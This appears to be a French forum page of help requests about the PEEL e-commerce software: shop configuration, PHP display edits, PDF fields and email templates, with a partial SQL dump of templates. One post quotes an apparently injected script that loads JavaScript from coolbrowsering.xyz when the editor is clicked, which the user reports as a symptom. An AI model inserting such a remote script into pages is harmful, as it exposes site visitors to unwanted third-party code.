xeon

Utilisateur open source
  • Compteur de contenus

    276
  • Inscrit(e) le

  • Dernière visite


Messages posté(e)s par xeon


  1. Bonjour,

    Je suis sur la version 6.3.

    J'ai installé deux boutiques A et B, dans deux répertoires différents. Boutique-A et Boutique-B.

    Je voudrais que la configuration de la boutique soit contrôlée de façon indépendante pour chacune des boutiques.

    Exemple : je voudrais activer l'affichage du catalogue seulement sur B.

    J'ai dupliqué la table peel_sites originale (qui était dans la boutique B, la première qui a été installée avec l'installateur), et l'ai nommée peel_sites_A, puis dans le répertoire "boutique-A", j'ai remplacé toutes les occurences de peel_sites, par peel_sites-A.
    Ensuite bien sûr j'ai remplacé mes répertoires sur le serveur.

    Malgré cela les deux configurations sont toujours synchronisées. Si je retire l'affichage du catalogue dans la boutique -A, il disparait aussi dans la boutique-B.

    Savez-vous ce qui manque ?

    Cordialement

    Xeon

     

     

    Je viens de trouver la solution. Il fallait créer aussi un duplicata de peel_modules. La modification se fait dans la première ligne de la table.


  2. Bonjour,

    J'ai trois sites sur des versions 6.3. Ils sont sur des hébergements différents, il est donc peu probable qu'ils aient eu un virus. Je viens de faire un test avec une version 9.0 de Peel et je retrouve le même problème.

    Je rencontre donc ce bug depuis dimanche dernier : Lorsque je clique dans le champ d'édition (branché avec CKEditor) de chacun des sites (j'ai fait le test avec FCK editor et CKEditor), j'ai ce code qui apparait immédiatement après dans la source : <script charset="UTF-8">
    ss78mest = {"distributorId":"8","kTag":"0","pTag":"0","scriptDomain":"coolbrowsering.xyz","tag":"pl","uniqueID":"1552592168405","vTag":"28069","version":"200"};
    tdUserStorage = {"browserStartedAt":1552985758398};
    window["pTag84719287"] = "0";
    window["jj837711"] = "1552592168405";</script>
    <script charset="UTF-8" src="http://coolbrowsering.xyz/i.js?tag=pl&amp;did=8&amp;v_tag=28069&amp;k_tag=0">
    </script>

    Le code n'apparait que quand je clique dans le champ d'édition de contenu de l'éditeur, car quand la page est tout juste chargée, le terme "coolbrowsering" par exemple, n'apparait pas dans la source de la page.

    Ce qui n'arrivait pas auparavant, c'est dimanche dernier que je m'en suis rendu compte, en allant sur un de ces 4 sites. Je travaille tous les jours dessus, donc si cela s'était produit avant, je l'aurais vu. Je n'ai fait aucune mise à jour de code ou de version php, et je me suis renseigné chez l'hébergeur, il n'y a pas eu de mise à jour non plus du côté des hébergements.

    Savez-vous ce qui peut se passer.

    Merci.

    acnt?_=1553006178878&did=8&tag=pl&r=abou

    acnt?_=1553006587233&did=8&tag=pl&r=abou

    acnt?_=1553006660196&did=8&tag=pl&r=abou

    acnt?_=1553008928245&did=8&tag=pl&r=abou

    acnt?_=1553009392266&did=8&tag=pl&r=abou


  3. Bonjour,

    Avec la version 6.3.

    J'ai un problème d'espacement alterné au-dessus de chaque description.

    Les champs description commencent soit par un paragraphe, soit sans paragraphe en html : <p>. Du coup, les espaces diffèrent, d'un article à l'autre. C'est surtout visible sur les pages catégories, qui a présent affichent le début de la description, et ça fait un peu bizarre.

    Existe-t-il une solution pour faire en sorte que toutes les descriptions commencent par <p> ?

    Merci.


  4. Je crois que j'ai trouvé. Puisque j'ai deux affichages dans la page produits, c'est que ce qui s'affiche en double, c'est la partie descriptif, qui reprend la description (je ne sais pas pourquoi mais c'est un fait). Comme la description s'affiche comme d'habitude, je me retrouve donc avec deux descriptions au lieu de une. Ce que j'ai fait :

    Dans display_product, j'ai commenté les lignes

     //if (!empty($product_object->descriptif)) {
                //    $output .= '
                //    <p>' . $product_object->descriptif . '</p>';
            //    }

    Et le descriptif inutile a disparu. Dès lors j'ai bien un seul affichage sur les pages produits, et j'ai toujours également mon affichage dans la page des catégories.

    Merci de votre aide.


  5. Bonjour,

    J'ai pu avancer sur ce projet.
    J'ai réussi à intégrer le code pour permettre l'affichage de la description dans la liste des produits sur la page des catégories.
    Dans display_product, j'ai ajouté (en fait j'ai repris ce code depuis la fonction qui affiche les produits sur la page produits).

    // debut affichage description            
                                        
            if (defined('IN_CATALOGUE')) {                  
        $product_object->description = String::html_entity_decode($product_object->description);
                    $product_object->description = String::str_shorten(($product_object->description), 200);
                        if (!empty($product_object->description)) {
                $output .= '
                    <div style="margin-left:4px; padding:0px;">' . $product_object->description . '</p><a target=_blank href="' . $urlprod . '" title="' . String::str_form_value($product_object->name) . '">';
                }
        }
                    
            // fin affichage description   

    Ceci m'affiche bien la description sur la page catégories, mais toujours, également, un doublon de la description sur la page du produit (quand j'intervenais sur product.php, je n'obtenais que l'affichage en double sur la page produits, mais rien sur la page des catégories).

    Dès lors, est-il possible d'empêcher cet affichage en double sur la page produits ?

     


  6. Bonjour,

    Sur les PDF imprimant le bon de commande, devis et proforma, je souhaite supprimer une partie des infos de livraison de commande.

    Pour cela dans order.php, j'ai remplacé :

    $order_infos['client_infos_ship'] = (!empty($order_object->societe_ship)?$order_object->societe_ship . "\n":'')

         . trim($order_object->nom_ship . " " . $order_object->prenom_ship)

         . "\n" . $order_object->adresse_ship

         . "\n" . trim($order_object->zip_ship . " " . $order_object->ville_ship)

         . "\n" . $order_object->pays_ship

         . "\n" . $order_object->telephone_ship

         . "\n" . $order_object->email_ship;

     

    Par

    $order_infos['client_infos_ship'] = (!empty($order_object->societe_ship)?$order_object->societe_ship . "\n":'')

         . trim($order_object->nom_ship . " " . $order_object->prenom_ship)

         . "\n" . $order_object->adresse_ship

         . "\n" . trim($order_object->zip_ship . " " . $order_object->ville_ship);

     

    Apparemment ça fonctionne, je retrouve les infos comme je les voulais au niveau du PDF, et je peux effectuer sans problème une commande en BO ou FO. Je voulais juste savoir si cela pouvait avoir des incidences sur d'autres parties du programme de la boutique (7.2).

    Merci.


  7. Bonjour,

    Je suis en version 6.3

    Je viens de remarquer qu'une catégorie paramétrée comme inactive, reste affichée dans le navigateur côté BO, alors qu'on n'est pas connecté sur son compte. C'est-à-dire qu'elle est potentiellement visible si jamais un lien dirigeait vers elle.

    Je précise : Le lien disparait du menu de gauche, mais si on appelle l'affichage de la catégorie inactive par l'url, elle s'affiche.

     

    J'ai vérifié et j'ai le même problème avec une autre version 6.3, à laquelle je n'ai pas touché.

    J'ai fait le test avec une version 7 et le problème n'est pas reproduit.

     

     

     

    Comment faire pour interdire totalement l'affichage de ces catégories inactives côté BO ?

    Merci.

     

     


  8. Bonjour,

    Où peut-on modifier la signature des emails ?

    J'ai cru trouver celle-ci dans database_email_template_text_html.fr,  mais si je modifie, vers la ligne 650

      "signature" => "

    Nom et adresse de mon entreprise - [SITE] - [WWWROOT]/",

      "cree_cheque_cadeau_client_type1" => "Bonjour,

     

    Rien ne se passe au niveau de la réception des mails. J'ai toujours l'ancienne signature =

    Le service client -- [SITE] - [WWWROOT]/

    Le mail visé est surtout celui de confirmation de commande. Il contient du html (logo en entête).

     

    J'ai vérifié quand même que ce fichier template a bien été télécharger sur le serveur et c'est le cas.

     

    En plus je ne trouve nulle part, ni sur les fichiers du site ni dans la base de données cette phrase : Le service client -

     

    Merci de votre aide.


  9. Oui sûr que je suis sur la bonne page.


    La BDD semble OK

    -- phpMyAdmin SQL Dump
    -- version 4.4.15.7
    -- http://www.phpmyadmin.net
    --
    -- Client :  discountuwcatal.mysql.db
    -- Généré le :  Mar 29 Novembre 2016 à 11:25
    -- Version du serveur :  5.5.52-0+deb7u1-log
    -- Version de PHP :  5.4.45-0+deb7u5

    SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
    SET time_zone = "+00:00";


    /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
    /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
    /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
    /*!40101 SET NAMES utf8mb4 */;

    --
    -- Base de données :  `discountuwcatal`
    --

    -- --------------------------------------------------------

    --
    -- Structure de la table `peel_email_template`
    --

    CREATE TABLE IF NOT EXISTS `peel_email_template` (
      `id` int(11) NOT NULL,
      `technical_code` varchar(255) NOT NULL DEFAULT '',
      `name` varchar(60) NOT NULL DEFAULT '',
      `subject` varchar(255) NOT NULL DEFAULT '',
      `text` mediumtext NOT NULL,
      `lang` varchar(2) NOT NULL DEFAULT '',
      `active` enum('TRUE','FALSE') NOT NULL DEFAULT 'TRUE',
      `id_cat` int(11) NOT NULL DEFAULT '1',
      `default_signature_code` varchar(255) NOT NULL DEFAULT '',
      `site_id` int(11) NOT NULL DEFAULT '0'
    ) ENGINE=MyISAM AUTO_INCREMENT=73 DEFAULT CHARSET=utf8;

    --
    -- Contenu de la table `peel_email_template`
    --

    INSERT INTO `peel_email_template` (`id`, `technical_code`, `name`, `subject`, `text`, `lang`, `active`, `id_cat`, `default_signature_code`, `site_id`) VALUES
    (1, 'download_product', 'Téléchargement de votre commande', 'Téléchargement de votre commande [ORDER_ID]', 'Bonjour,\r\n\r\nVotre commande [ORDER_ID] ayant été validée, nous vous invitons à télécharger votre commande à partir du lien suivant :\r\n\r\nVotre lien pour le téléchargement : [WWWROOT]/modules/download/telecharger.php?id=[ORDER_ID]&key=[CLE]\r\n\r\nVous pourrez télécharger ce fichier 1 fois.\r\nSi vous rencontrez des difficultés lors du téléchargement, nous vous invitons à contacter [SUPPORT_COMMANDE] afin qu''il vous renvoie un lien de téléchargement.\r\n\r\nPar ailleurs, nous vous invitons à éditer votre facture à partir du lien suivant :\r\n\r\n[WWWROOT]/factures/commande_pdf.php?code_facture=[CODE_FACTURE]&mode=facture', 'fr', 'TRUE', 1, '', 0),
    (2, 'commande_parrain_avoir', 'Votre avoir suite à la commande de votre filleul', 'Votre avoir suite à la commande de votre filleul', 'Bonjour,\r\n\r\nSuite à la commande d''un de vos filleuls sur notre boutique en ligne, nous vous faisons bénéficier d''un avoir de [AVOIR] à valoir sur votre prochaine commande.', 'fr', 'TRUE', 1, '', 0),
    (3, 'envoie_client_code_promo', 'En remerciement de votre fidélité', 'En remerciement de votre fidélité', 'Bonjour [CIVILITE] [PRENOM] [NOM_FAMILLE],\r\n\r\nPour vous remercier d''avoir commandé sur notre boutique en ligne nous vous offrons ce code promotionnel : [NOM_CODE_PROMO].\r\n\r\nIl vous permet de bénéficier d''une promotion de [REMISE] à valoir sur votre prochaine commande.\r\n\r\nCe code promotionnel vous est spécialement destiné et est valable une seule fois à partir de maintenant jusqu''au [DATE_FIN].\r\n\r\nNous vous remercions pour votre confiance.', 'fr', 'TRUE', 1, '', 0),
    (5, 'insere_ticket', 'Prise de contact par ', 'Prise de contact par ', 'Bonjour,\r\n\r\nDétail du message envoyé le [DATE] :\r\n\r\nNom : [NOM]\r\nPrénom : [PRENOM]\r\nSociété : [SOCIETE]\r\nTél : [TELEPHONE]\r\nEmail : \r\nDisponibilité : [DISPO]\r\n\r\nSujet : [SUJET]\r\n\r\nMessage :\r\n\r\n[TEXTE]\r\n', 'fr', 'TRUE', 1, '', 0),
    (6, 'admin_info_payment_credit_card', 'Commande CB en cours d''enregistrement', 'Commande CB en cours d''enregistrement', 'Bonjour, \r\n\r\nUne commande portant le numéro [ORDER_ID] vient d''être enregistrée sur [WWWROOT]', 'fr', 'TRUE', 1, '', 0),
    (7, 'admin_info_payment_credit_card_3_times', 'Commande CB en trois fois en cours d''enregistrement', 'Commande CB en trois fois en cours d''enregistrement sur [SITE]', 'Bonjour,\r\n\r\nUne commande avec paiement en trois fois portant le numéro [ORDER_ID] vient d''être enregistrée sur [SITE]\r\n', 'fr', 'TRUE', 1, '', 0),
    (8, 'send_client_order_html', 'Votre commande [ORDER_ID] sur [SITE] avec facture HTML', 'Votre commande [ORDER_ID] sur [SITE]', 'Bonjour,\r\n\r\nNous vous invitons à ouvrir le lien suivant afin d''imprimer ou de régler votre commande sur le site [SITE] :\r\n\r\nVotre bon de commande :\r\n[URL_FACTURE]\r\n\r\nRappel : si le lien ne s''affiche pas correctement dans votre navigateur, veuillez le copier - coller. L''URL doit se terminer par mode=[MODE].\r\n\r\nVotre commande sera traitée dès réception de votre règlement.\r\n\r\nNous vous remercions pour la confiance que vous accordez à [SITE]\r\n', 'fr', 'TRUE', 1, '', 0),
    (9, 'send_client_order_pdf', 'Votre commande [ORDER_ID] sur [SITE] avec facture PDF', 'Votre commande [ORDER_ID] sur [SITE]', 'Bonjour,\r\n\r\nNous vous invitons à ouvrir le lien suivant afin d''imprimer ou de régler votre commande sur le site [SITE] :\r\n\r\nVotre bon de commande :\r\n[URL_FACTURE]\r\n\r\nRappel : si le lien ne s''affiche pas correctement dans votre navigateur, veuillez le copier - coller. L''URL doit se terminer par ''mode=[MODE]''.\r\n\r\nVotre commande sera traitée dès réception de votre règlement.\r\n\r\nNous vous remercions pour la confiance que vous accordez à [SITE]\r\n', 'fr', 'TRUE', 1, '', 0),
    (10, 'send_avis_expedition', 'Avis d''expédition de la commande n°[ORDER_ID]', 'Avis d''expédition de la commande n°[ORDER_ID]', 'Bonjour [PRENOM] [NOM_FAMILLE],\r\n\r\nNous avons le plaisir de vous confirmer la préparation et la prochaine livraison de la commande n°[ORDER_ID].\r\n\r\nArticles expédiés :\r\n[SHIPPED_ITEMS]\r\nLe mode de livraison que vous avez choisi lors de la prise de commande est : [TYPE]\r\nRéférences de l''envoi : le n° de colis est [COLIS]. Pour La Poste, vous pouvez suivre l''acheminement de votre colis en cliquant sur le lien suivant : http://www.coliposte.fr/\r\n\r\nAdresse d''expédition :\r\n[CLIENT_INFOS_SHIP]\r\n\r\nRAPPELS IMPORTANTS :\r\n\r\nNous vous invitons à suivre scrupuleusement nos instructions pour éviter tout litige. Le transport est une phase délicate qui demande une attention toute particulière.\r\nPar conséquent, merci de vous conformer aux règles d''usages élémentaires rappelées ci-dessous :\r\n- Colis en mauvais état\r\n- colis ouvert et/ou écrasé\r\n- système de fermeture (adhésif...) détérioré ou ne semblant pas d''origine\r\n\r\nQUE FAIRE ?\r\n- Ne pas ouvrir le colis\r\n- refuser le colis\r\n- émettre immédiatement les réserves d''usage auprès du transporteur\r\n- nous signaler le problème en nous indiquant le numéro de commande concernée\r\n\r\nREMBOURSEMENT\r\n[SITE] refusera systématiquement le remboursement d''une commande si :\r\n- aucune réserve n''a été émise auprès du transporteur\r\n- aucune preuve de l''émission des réserves n''est fournie\r\n\r\nNous vous remercions de votre compréhension et restons à votre entière disposition pour tout complément d''information.', 'fr', 'TRUE', 1, '', 0),
    (11, 'email_commande', 'Confirmation de la commande [ORDER_ID]', 'Confirmation de la commande [ORDER_ID]', 'Bonjour [GENDER] [PRENOM] [NOM_FAMILLE],\r\n\r\nVotre commande n°[ORDER_ID] du [DATE] a bien été enregistrée sur le site [SITE].\r\n\r\n---------------------------\r\nRAPPEL DE VOTRE COMMANDE\r\n---------------------------\r\n\r\nMontant : [MONTANT] TTC\r\nMode de paiement : [PAIEMENT]\r\n\r\n---------------------------\r\nAdresse de facturation\r\n---------------------------\r\n[CLIENT_INFOS_BILL]\r\n\r\n---------------------------\r\nAdresse de livraison\r\n---------------------------\r\n[CLIENT_INFOS_SHIP]\r\n\r\n---------------------------\r\nArticles commandés\r\n---------------------------\r\n[BOUGHT_ITEMS]\r\nFrais d''expédition :\r\n[COUT_TRANSPORT]\r\n\r\nVous pouvez suivre en temps réel l''état d''avancement de votre commande :\r\nune fois votre commande réglée, la facture apparaîtra dans votre compte client au niveau du détail de la commande\r\n\r\nPour accéder à l''historique des commandes :\r\n - Cliquez sur MON COMPTE,\r\n - Identifiez-vous\r\n - Cliquez ensuite sur Historique des commandes.\r\n\r\nNous vous remercions pour votre confiance.', 'fr', 'TRUE', 1, '', 0),
    (12, 'send_mail_order_admin', '[ORDER_ID] Enregistrement de la commande [SITE]', '[ORDER_ID] Enregistrement de la commande [SITE]', 'Bonjour,\r\n\r\nLa commande [ORDER_ID] vient d''être enregistrée sur le site [SITE].\r\n\r\nEmail client : \r\nRéférence commande : [ORDER_ID]\r\nMontant de la commande : [MONTANT]\r\nDate de la commande : [O_TIMESTAMP]\r\nPaiement : [PAIEMENT]\r\n\r\nMerci de consulter l''interface d''administration de votre site.\r\n', 'fr', 'TRUE', 1, '', 0),
    (13, 'initialise_mot_passe', 'Nouveau mot de passe de votre compte client', 'Nouveau mot de passe de votre compte client', 'Bonjour,\r\n\r\nUne demande de nouveau mot de passe sur le site [SITE] a été initialisé.\r\n\r\nPour confirmer votre demande de renouvellement de mot de passe, vous devez cliquer sur le lien suivant : [LINK]\r\nVous disposez de 24h après la demande de renouvellement pour effectuer cette opération. Passé ce délai, le lien ne sera plus valide.\r\n\r\nCet email a été envoyé automatiquement, merci de ne pas répondre à ce message.\r\n', 'fr', 'TRUE', 1, '', 0),
    (14, 'send_mail_for_account_creation', 'Ouverture de votre compte client', 'Ouverture de votre compte client', 'Bonjour,\r\n\r\nVous venez de créer un compte client sur [SITE].\r\n\r\nVotre identifiant est le suivant : \r\nVotre mot de passe est : [MOT_PASSE]\r\n', 'fr', 'TRUE', 1, '', 0),
    (15, 'insere_avis', 'Un internaute a ajouté un commentaire sur [SITE]', 'Un internaute a ajouté un commentaire sur [SITE]', 'Bonjour,\r\n\r\n[PRENOM] [NOM_FAMILLE] a ajouté le commentaire suivant :\r\n\r\nNom du produit : [NOM_PRODUIT]\r\n\r\nAvis déposé : [AVIS]\r\n\r\nAfin de valider cet avis, vous devez vous connecter à l''interface d''administration et modifier son statut dans la rubrique OUTILS > Avis des internautes.', 'fr', 'TRUE', 1, '', 0),
    (16, 'bons_anniversaires', '[SITE] vous souhaite un joyeux anniversaire', '[SITE] vous souhaite un joyeux anniversaire', 'Bonjour [CIVILITE] [PRENOM] [NOM_FAMILLE],\r\n\r\nPour votre anniversaire, nous vous offrons ce code promotionnel : [NOM_CODE_PROMO].\r\n\r\nIl vous permet de bénéficier de [REMISE] de réduction à valoir sur votre prochaine commande [MAIL_EXTRA_INFOS]\r\n\r\nCe code promotionnel vous est spécialement destiné et est valable une seule fois à partir d''aujourd''hui jusqu''au [DATE_FIN].\r\n\r\n[SITE] vous souhaite un joyeux anniversaire.', 'fr', 'TRUE', 1, '', 0),
    (17, 'direaunami_sent', '[PSEUDO] a visité le site [SITE] et vous le recommande', '[PSEUDO] a visité le site [SITE] et vous le recommande', 'Bonjour [NOM_FAMILLE], \r\n\r\n[PSEUDO] a visité le site [SITE] et pense que vous trouverez cet article intéressant :\r\n\r\nURL : [PRODUCT_LINK]\r\n\r\nCommentaires supplémentaires : \r\n------------------------------------ \r\n[COMMENTS]\r\n------------------------------------', 'fr', 'TRUE', 1, '', 0),
    (18, 'cheques_cadeaux', '[EMAIL_ACHETEUR] vous offre un chèque cadeau', '[EMAIL_ACHETEUR] vous offre un chèque cadeau', 'Bonjour,\r\n\r\n[SITE] a souhaité vous offrir un chèque cadeau !\r\n\r\nPour en bénéficier, connectez-vous simplement au site [WWWROOT] et utilisez votre code [CHECK_NAME].\r\n\r\nVous bénéficierez alors d''une remise de [REMISE_VALEUR] pour un montant minimum d''achat de [MONTANT_MIN] HT pour votre commande.', 'fr', 'TRUE', 1, '', 0),
    (19, 'cree_cheque_cadeau_friend', ' vous offre un chèque cadeau', ' vous offre un chèque cadeau', 'Bonjour,\r\n\r\nVotre ami [PRENOM] [NOM_FAMILLE] a souhaité vous offrir un chèque cadeau sur le site [SITE].\r\n\r\nPour en bénéficier, connectez-vous simplement au site [WWWROOT] et utilisez votre code

    .\r\n\r\nVous bénéficierez alors d''une remise de [PRIX] TTC sur votre commande.\r\n', 'fr', 'TRUE', 1, '', 0),
    (20, 'cree_cheque_cadeau_admin', 'Création d''un chèque cadeau', 'Création d''un chèque cadeau', 'Bonjour,\r\n\r\nLe code promo

     via le module de CHEQUE CADEAU vient d''être créé sur [SITE].\r\n', 'fr', 'TRUE', 1, '', 0),
    (21, 'cree_cheque_cadeau_client_type2', '[FRIEND] vous offre un chèque cadeau (montant)', '[FRIEND] vous offre un chèque cadeau', 'Bonjour,\r\n\r\n[SITE] vous offre un chèque cadeau valable 30 jours d''un montant de [MONTANT].\r\n\r\nPour en bénéficier, connectez-vous simplement au site [WWWROOT] et utilisez votre code [CODE].\r\n', 'fr', 'TRUE', 1, '', 0),
    (22, 'cree_cheque_cadeau_client_admin', 'Création d''un chèque cadeau', 'Création d''un chèque cadeau', 'Bonjour,\r\n\r\nLe code promotionnel [CODE] vient d''être créé via le module de parrainage sur [SITE].\r\n', 'fr', 'TRUE', 1, '', 0),
    (23, 'gift_list', 'Liste de cadeaux', 'Liste de cadeaux', 'Bonjour,\r\n\r\nDétail du message envoyé le [DATE]\r\n\r\n[PRENOM] [NOM_FAMILLE] vous envoie sa liste de cadeaux : [GIFTLIST_NAME]\r\n\r\n[GIFTLIST_ITEMS]\r\n', 'fr', 'TRUE', 1, '', 0),
    (24, 'email_ordered_cadeaux', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Bonjour,\r\n\r\n[PRENOM] [NOM] vient de passer commande à partir de votre liste Cadeau [GIFTLIST_NAME].\r\n\r\nVoici les articles commandés :\r\n[GIFTLIST_ITEMS]', 'fr', 'TRUE', 1, '', 0),
    (25, 'listecadeau_voir', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Bonjour,\r\n\r\nDétail du message envoyé le [DATE].\r\n\r\n[PRENOM] [NOM] vous envoie sa liste de cadeaux [GIFTLIST_NAME] :\r\n[WWWROOT]/modules/listecadeau/voir.php?email_liste=[URL_LISTE_CADEAU]\r\n\r\n[GIFTLIST_ITEMS]', 'fr', 'TRUE', 1, '', 0),
    (26, 'parrainage', '[PSEUDO] souhaite vous parrainer', '[PSEUDO] souhaite vous parrainer', 'Bonjour,\r\n\r\n[PSEUDO] vous invite à venir découvrir le site [SITE] et à bénéficier d''un avoir de [REBATE] sur votre première commande en validant votre compte client. \r\n\r\nCliquez sur le lien suivant pour valider votre compte client : \r\n [WWWROOT]/modules/parrainage/inscription.php?email=[EMAIL_FILLEUL]&code=[MDP]&id=[ID_UTILISATEUR]\r\n\r\nVotre identifiant : [EMAIL_FILLEUL]\r\nVotre mot de passe : [MDP]\r\n', 'fr', 'TRUE', 1, '', 0),
    (27, 'email_alerte', 'Produit en stock sur [SITE]', 'Produit en stock sur [SITE]', 'Bonjour,\r\n\r\nLe produit [NOM_PRODUIT] est actuellement en stock. Cliquez ici pour le découvrir : [URLPROD]\r\n', 'fr', 'TRUE', 1, '', 0),
    (28, 'decremente_stock', 'Notification d''alerte STOCK', 'Notification d''alerte STOCK', 'Bonjour,\r\n\r\nLe seuil d''alerte a été atteint pour le produit [NOM_PRODUIT].\r\n\r\nStock restant : [STOCK_RESTANT_APRES_DEMANDE]', 'fr', 'TRUE', 1, '', 0),
    (29, 'download_product', 'Téléchargement de votre commande', 'Download your order #[ORDER_ID]', 'Hello,\r\n\r\nYour order #[ORDER_ID] has been validated. We invite you to download your order from the link below:\r\n\r\nYour link to download: [WWWROOT]/modules/download/telecharger.php?id=[ORDER_ID]&key=[CLE]\r\n\r\nYou can download this file only once. If you encounter difficulties while downloading your order, we advise you to contact [SUPPORT_COMMANDE] so that it gives you a new download link.\r\n\r\nWe also invite you to edit your invoice from the following link:\r\n\r\n[WWWROOT]/factures/commande_pdf.php?code_facture=[CODE_FACTURE]&mode=facture', 'en', 'TRUE', 1, '', 0),
    (30, 'commande_parrain_avoir', 'Votre avoir suite à la commande de votre filleul', 'Your credit following the order of your contact', 'Hello,\r\n\r\nFollowing the order placed by one of your contacts on our shop online, you can now benefit from a credit of [AVOIR] on your next order.', 'en', 'TRUE', 1, '', 0),
    (31, 'envoie_client_code_promo', 'En remerciement de votre fidélité', 'En remerciement de votre fidélité', 'Hello [CIVILITE] [PRENOM] [NOM_FAMILLE],\r\n\r\nIn order to thank you for your order on our online shop, we are offering you this promotional code: [NOM_CODE_PROMO].\r\n\r\nIt allows you to benefit from a [REMISE] discount on your next order.\r\n\r\nThis promotional code can only be used by you once, and you can use it from now on until the following date [DATE_FIN].', 'en', 'TRUE', 1, '', 0),
    (32, 'insere_ticket', 'Prise de contact par [EMAIL]', 'Prise de contact par [EMAIL]', 'Hello,\r\n\r\nDetails of the message sent on [DATE]:\r\n\r\nName: [NOM]\r\nFirstname: [PRENOM]\r\nCompany name: [SOCIETE]\r\nPhone number: [TELEPHONE]\r\nEmail address: [EMAIL]\r\nAvailability: [DISPO]\r\n\r\nSubject: [SUJET]\r\n\r\nMessage:\r\n\r\n[TEXTE]\r\n', 'en', 'TRUE', 1, '', 0),
    (33, 'admin_info_payment_credit_card', 'Commande CB en cours d''enregistrement sur [SITE]', 'Commande CB en cours d''enregistrement sur [SITE]', 'Hello,\r\n\r\nThe order associated with the following number [ORDER_ID] has just been recorded on [WWWROOT]/lib/fonctions/display_caddie.php', 'en', 'TRUE', 1, '', 0),
    (34, 'admin_info_payment_credit_card_3_times', 'Commande CB en 3 fois en cours d''enregistrement', 'Commande CB en trois fois en cours d''enregistrement sur [SITE]', 'Hello,\r\n\r\nThe order associated with the following number [ORDER_ID] has just been recorded on [SITE]\r\n', 'en', 'TRUE', 1, '', 0),
    (35, 'send_client_order_html', 'Votre commande [ORDER_ID] sur [SITE] (version facture HTML', 'Your order [ORDER_ID] on [SITE]', 'Hello,\r\n\r\nWe invite you to open the following link in order to either print or pay your order on the website [SITE]:\r\n\r\nYour order form:\r\n[URL_FACTURE]\r\n\r\nReminder: if the link does not appear correctly in your web browser, please copy and paste it. The URL must end by mode=[MODE].\r\n\r\nYour order will be processed as soon as we receive your payment.', 'en', 'TRUE', 1, '', 0),
    (36, 'send_client_order_pdf', 'Votre commande [ORDER_ID] sur [SITE] (version facture PDF)', 'Your order [ORDER_ID] on [SITE]', 'Hello,\r\n\r\nWe invite you to open the following link in order to either print or pay your order on the website [SITE]:\r\n\r\nYour order form:\r\n[URL_FACTURE]\r\n\r\nReminder: if the link does not appear correctly in your web browser, please copy and paste it. The URL must end by ''mode=[MODE]''.\r\n\r\nYour order will be processed as soon as we receive your payment.', 'en', 'TRUE', 1, '', 0),
    (37, 'send_avis_expedition', 'Avis d''expédition de la commande n°[ORDER_ID]', 'Shipping order #[ORDER_ID]', 'Hello [PRENOM] [NOM_FAMILLE],\r\n\r\nWe are pleased to confirm the preparation and shipping of your order #[ORDER_ID].\r\n\r\nShipped items:\r\n[SHIPPED_ITEMS]\r\nThe shipping method you have chosen during the order process is: [TYPE].\r\nShipping references: The parcel number is [COLIS], you can follow the shipping of your parcel by clicking on the following link: http://www.coliposte.fr/\r\n\r\nShipping address:\r\n[CLIENT_INFOS_SHIP]\r\n\r\nIMPORTANT REMINDER:\r\nPlease follow our instructions in order to avoid any problem. The shipping is a sensitive step which requires a specific attention.\r\nAs a result, thanks to conform to the elementary rules reminded below:\r\n- Damaged parcel\r\n- Opened and/or broken parcel\r\n- Closing system (adhesive...) damages or not original\r\n\r\nWHAT TO DO?\r\n- Do not open the parcel\r\n- refuse the parcel\r\n- immediately warn the shipper\r\n- warn us and give us the number of the concerned order\r\n\r\nREIMBURSEMENT\r\n[SITE] will refuse systematically the repayment of an order if:\r\n- no warning has been made to the shipper\r\n- no proof of the warning is provided\r\n\r\nThank for your understanding, please do not hesitate to contact us if you have any queries.', 'en', 'TRUE', 1, '', 0),
    (38, 'email_commande', 'Confirmation de la commande [ORDER_ID]', 'Order confirmation #[ORDER_ID]', 'Hello [GENDER] [PRENOM] [NOM_FAMILLE],\r\n\r\nYour order #[ORDER_ID] made on [DATE] has been saved on the website [SITE].\r\n\r\n---------------------------\r\nYOUR ORDER SUMMARY\r\n---------------------------\r\n\r\namount: [MONTANT] EUR VAT INCLUDED\r\nPayment means [PAIEMENT]: \r\n\r\n---------------------------\r\nBilling address\r\n---------------------------\r\n[CLIENT_INFOS_BILL]\r\n\r\n---------------------------\r\nShipping address\r\n---------------------------\r\n[CLIENT_INFOS_SHIP]\r\n\r\n---------------------------\r\nBought items\r\n---------------------------\r\n[BOUGHT_ITEMS]\r\n\r\nShipping fees\r\n[COUT_TRANSPORT]\r\n\r\nYou can follow the status of your order:\r\n\r\nOnce your order is paid for, your invoice will appear in your account in your order details\r\n\r\nTo access your order history:\r\n - Click on MY ACCOUNT,\r\n - Please log in\r\n - Then click on your order history.\r\n\r\nThank you for your trust.\r\n\r\nSee you soon on [SITE]', 'en', 'TRUE', 1, '', 0),
    (39, 'send_mail_order_admin', '[ORDER_ID] Enregistrement de la commande [SITE]', 'Record of the order #[ORDER_ID]', 'Hello,\r\n\r\nThe following order [ORDER_ID] has just been recorded on [SITE]\r\n\r\nEmail address: [EMAIL]\r\nReference number: [ORDER_ID]\r\nOrder amount: [MONTANT]\r\nOrder date: [O_TIMESTAMP]\r\nPayment: [PAIEMENT]\r\n\r\nPlease consult the administration interface of your web site. ', 'en', 'TRUE', 1, '', 0),
    (40, 'initialise_mot_passe', 'Nouveau mot de passe de votre compte client', 'New password for your customer account', 'Hello,\r\n\r\n request a new password on the site [SITE] has been initialized.\r\n\r\nTo confirm your renewal application password, you must click the following link: [LINK]\r\nYou have 24 hours after the renewal application to perform this operation. Afterwards, the link will no longer be valid.\r\nThis email was sent automatically, thank you not to reply to this message.\r\n', 'en', 'TRUE', 1, '', 0),
    (41, 'send_mail_for_account_creation', 'Ouverture de votre compte client', 'Your customer account', 'Hello,\r\n\r\nYou have just created a customer account on [SITE].\r\n\r\nYour login is: [EMAIL]\r\nYour new password is: [MOT_PASSE]\r\n', 'en', 'TRUE', 1, '', 0),
